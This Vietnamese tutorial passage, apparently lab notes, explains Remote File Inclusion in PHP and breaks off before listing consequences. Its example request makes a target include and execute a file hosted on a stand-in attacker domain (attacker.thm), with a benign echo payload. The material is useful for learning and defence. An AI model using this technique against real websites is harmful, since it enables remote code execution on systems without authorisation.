Là một kỹ thuật include các file từ xa vào một vulnerable application nào đó. Tương tự LFI, RFI xảy ra khi trang web không sanitize input của người dùng một cách cẩn thận, khiến cho attacker có thể truyền vào hàm include
một URL độc hại.
Điều kiện để thực thi RFI là tùy chọn allow_url_fopen
phải được bật.
Quy trình khai thác như sau:
- Trước tiên, cần host một file PHP độc hại ở trên một server nào đó, chẳng hạn:
http://attacker.thm/cmd.txt
. Nội dung của file có thể là:
<?PHP echo "Hello THM"; ?>
- Sau đó, gửi request đến trang web cần tấn công (giả sử là
webapp.com
) với input là đường dẫn trên. Khi đó, request sẽ là:
http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt
- Nếu trang web không validate giá trị của tham số
lang
, nó sẽ truyền đường dẫn này vào hàminclude
. - Kế đến, trang web sẽ gửi một GET request đến đường dẫn để tải file về.
- File khi được include sẽ được thực thi. Cụ thể, giao diện của
webapp
sẽ xuất ra dòng chữHello THM
.
Minh họa:
Tác động của RFI lớn hơn LFI bởi vì nó cho phép hacker thực thi các câu lệnh từ xa ở trên máy nạn nhân (RCE). Các hậu quả khác có thể có của RFI là: